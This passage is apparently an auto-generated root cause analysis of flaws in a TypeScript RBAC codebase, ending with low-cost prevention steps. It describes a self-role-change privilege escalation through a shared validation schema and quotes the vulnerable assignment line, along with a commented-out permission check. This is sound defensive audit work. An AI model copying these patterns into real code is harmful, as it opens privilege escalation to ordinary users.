Service-level: helper/hasPermission.ts — dot format, multi-role, cached
├── checkPermissionAndThrow() ──── all services (30+)
└── hasPermission() ────────────── conditional in-service checks
Both backed by: contextMiddleware → initializePermissionCache → req.user.permissions Set
DELETE: middlewares/hasPermission.ts (v1), permissionNormalizer.ts, UserRoles.ts
ONE format: dot notation (user.create, role.view, permission.grant)
ONE soft-delete: @DeleteDateColumn (deletedAt) — TypeORM managed
ONE user↔role: user_roles table (@ManyToMany JoinTable)
Part 4: Root Cause Analysis — 5 Whys¶
Tracing 70 issues back to their systemic root causes through repeated "why" questioning.
Chain 1: Why Do Two Incompatible Permission Systems Exist?¶
PROBLEM: Two hasPermission implementations produce different results
WHY 1: Why do two implementations exist?
→ Middleware was built first (route-level gating, auto-derives permission from URL)
→ Helper was built later (in-service conditional checks like "if user can assign roles")
→ Different problems → different solutions → both kept
WHY 2: Why wasn't the middleware replaced when the helper was built?
→ Middleware was already wired into GET /payments
→ Developer who built helper didn't own payment module
→ "Don't touch what works" — left both in place
WHY 3: Why do they use different permission formats?
→ Middleware auto-derives from URL: GET /api/v1/users → "/users" (route format)
→ Helper matches DB: seed data stores "user.create" (dot notation)
→ Neither developer knew the other format existed
WHY 4: Why wasn't the format mismatch caught?
→ Only super_admin was ever tested
→ super_admin bypasses ALL permission checks in BOTH implementations
→ The mismatch is invisible when bypassed
WHY 5: Why was only super_admin tested?
→ ZERO automated tests exist (no test framework in either package.json)
→ Manual testing always uses the seeded super_admin account
→ Creating a non-super_admin test user requires 10+ manual steps
ROOT CAUSE: No automated tests + super_admin bypass = RBAC never tested with real users
Chain 2: Why Is createRole Permission Check Commented Out?¶
PROBLEM: checkPermissionAndThrow("role.create") commented out at role.service.ts:150
WHY 1: Why was it commented out?
→ Permission check requires AsyncLocalStorage context (set by contextMiddleware)
→ Without context, getCurrentUser() throws ContextNotFoundError → 500 error
WHY 2: Why would createRole be called without context?
→ Seed script calls RoleService.upsertRole("super_admin") via CLI
→ CLI has no Express request, no middleware, no AsyncLocalStorage context
WHY 3: Why does the seed call the service instead of the repository?
→ Developer wanted to reuse business logic (duplicate name check, soft-delete restore)
→ Importing the service felt cleaner than copy-pasting the logic
WHY 4: Why not create a separate internal method without permission checks?
→ No architectural pattern for internal vs external service calls exists
→ Every service method mixes business logic + permission checks in one function
WHY 5: Why no separation between internal and external operations?
→ Single developer, incremental feature development
→ In early development there's only one caller (HTTP route) — separation feels premature
→ By the time the seed needed internal access, the pattern was already established
ROOT CAUSE: No separation between internal and external service calls. Seed's need to call services created a security-vs-functionality conflict resolved by disabling security.
Chain 3: Why Can Users Change Their Own Role via Profile Update?¶
PROBLEM: PATCH /users/profile accepts "role" field, writes to user.roleId
WHY 1: Why does updateProfile accept a role field?
→ Validation schema is: createUserValidation.shape.body.partial()
→ createUserValidation includes role: z.number() (for admin user creation)
→ .partial() makes everything optional, including role
→ Both updateProfile and updateUser share this schema
WHY 2: Why do admin and self-service endpoints share validation?
→ Fields overlap significantly (name, email, phone, address, avatar)
→ Creating a separate schema felt like duplication
→ The role field "slipped through" because .partial() includes everything
WHY 3: Why doesn't the service strip unauthorized fields?
→ updateProfile line 533: user.roleId = payload.role || user.roleId;
→ This line was copy-pasted from updateUser (line 372) — identical code
→ In updateUser it's correct (admin changing another user's role)
→ In updateProfile it's a security hole (user changing own role)
WHY 4: Why wasn't this caught in review?
→ No code reviews — git history shows single contributor
→ No security checklist for "which fields can users modify about themselves"
WHY 5: Why no field-level authorization model?
→ The codebase only has endpoint-level permissions (user.update, role.create)
→ No concept of "these fields are admin-only within this endpoint"
→ Every endpoint treats the payload as fully authorized if the user passes the gate
ROOT CAUSE: Shared validation schemas between admin and self-service endpoints + no field-level access control. Copy-paste between endpoints carried admin-only fields into self-service context.
Chain 4: Why Does contextMiddleware Run Twice?¶
PROBLEM: contextMiddleware executes twice per request, doubling DB queries
WHY 1: Why is it registered both globally and per-route?
→ app.ts registers it globally (after auth)
→ Individual route files add router.use(auth(), contextMiddleware) again
→ Developer added per-route to "make sure" it runs after auth
WHY 2: Why wasn't the duplicate noticed?
→ The middleware is idempotent — second invocation overwrites first, same result
→ No observable behavior difference
→ Performance impact only visible under load (never tested)
WHY 3: Why doesn't it guard against re-execution?
→ Could check hasRequestContext() and skip if already set
→ This guard was never added because the duplicate was never noticed
WHY 4: Why was no performance testing done?
→ Development happens on localhost with 1 user
→ The ~200ms overhead per duplicate query is invisible with a single user
→ No load testing or APM monitoring in place
ROOT CAUSE: No performance testing + idempotent middleware masks the duplicate. Development environment too forgiving to surface the issue.
Chain 5: Why Does the Normalizer Exist But Do Nothing?¶
PROBLEM: permissionNormalizer.ts (215 LOC) exists but all calls are commented out
WHY 1: Why was it built?
→ Someone noticed the dot vs route format mismatch
→ Built a comprehensive bidirectional converter
WHY 2: Why was it disabled?
→ Enabling it broke existing permission checks
→ Normalizer converts user.create → /user/create (singular)
→ Middleware expects /users/create (plural)
→ ACTION_MAPPING converts "update" → "edit" but seed uses "update"
WHY 3: Why weren't the edge cases fixed?
→ Fixing singular/plural requires either:
(a) changing all 87 seed permissions, or
(b) adding plural-awareness to the normalizer
→ Both are non-trivial and risk breaking existing functionality
WHY 4: Why was it left as dead code instead of deleted?
→ "We might need this later" thinking
→ Deleting feels permanent; commenting out feels reversible
→ No code health practices (dead code detection, coverage requirements)
ROOT CAUSE: Incremental development without architectural refactoring. Half-built solutions left in place rather than completed or removed.
Synthesis: The 5 Systemic Root Causes¶
| # | Root Cause | Pattern | Issues It Explains |
|---|---|---|---|
| RC-1 | Zero tests + super_admin bypass | The RBAC system was never tested with the users it protects | Format mismatch, broken route, silent failures, all permission gaps |
| RC-2 | No internal/external service separation | Seed scripts and services share methods, creating security conflicts | Commented-out permission checks, unprotected upsert |
| RC-3 | Shared validation between admin and self-service | Admin-only fields leak into self-service endpoints | Self-role-change escalation (most severe vulnerability) |
| RC-4 | Single developer, no code review | Security-sensitive patterns missed without a second pair of eyes | Copy-paste bugs, debug logs, dead code accumulation |
| RC-5 | Incremental development without refactoring | New solutions built alongside old ones, never replacing them | Dual systems, redundant columns, dead infrastructure |
What Would Have Prevented Everything¶
| Prevention | Cost to Implement | Issues Prevented |
|---|---|---|
| 1 integration test with non-super_admin user | 30 minutes | Format mismatch, broken RBAC, most permission issues (~15 issues) |
| Separate validation schemas for admin vs self-service | 15 minutes | Self-role-change vulnerability — the most severe issue in the codebase |
ESLint no-console rule |
5 minutes | All 5 debug log leaks (Issues #12, #13, #31, #35, and auth DD #60) |
CI grep for // await check patterns |
5 minutes | Commented-out permission checks (Issues #4, #24) |
| Code review checklist: "does this endpoint check permissions?" | 0 cost (process only) | Missing permission checks on 4+ endpoints |
internal() wrapper pattern for seed-callable methods |
1 hour (one-time) | Prevents future permission-check-vs-seed conflicts |
Total prevention cost: ~2 hours. Would have prevented the majority of the 70 issues found in this deep-dive.
Generated by BMAD Document Project workflow v1.2.0 — 5 Whys Root Cause Analysis, 2026-02-25 Cross-reference: Deep-Dive: User Management & RBAC — Section 20